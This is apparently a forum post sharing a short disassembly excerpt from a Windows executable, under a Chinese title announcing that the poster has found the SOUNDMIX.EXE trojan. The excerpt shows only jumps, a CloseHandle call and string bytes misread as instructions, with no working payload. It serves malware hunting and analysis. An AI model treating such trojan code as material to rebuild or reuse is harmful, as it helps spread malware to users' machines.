:0040162F E83C090000             call 00401F70

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401644(C)
|
:00401634 8B5580                mov edx, dword ptr [ebp-80]
:00401637 E94DFDFFFF             jmp 00401389

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401605(C)
|
:0040163C 8B1D30504000          mov ebx, dword ptr [00405030]
:00401642 85DB                   test ebx, ebx
:00401644 74EE                   je 00401634
:00401646 EBE0                   jmp 00401628

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040152D(C)
|
:00401648 891C24                mov dword ptr [esp], ebx

* Reference To: KERNEL32.CloseHandle, Ord:0026h
                              |
:0040164B E890210000             Call 004037E0
:00401650 83EC04                sub esp, 00000004
:00401653 BAFFFFFFFF             mov edx, FFFFFFFF
:00401658 E92CFDFFFF             jmp 00401389
:0040165D 5C                   pop esp
:0040165E 736F                   jnb 004016CF
:00401660 756E                   jne 004016D0
:00401662 64                   BYTE 064h

SOUNDMIX.EXE木马我终于找到了!激动(大家快进啊)[问题已经解决]

本帖子中包含更多资源

评分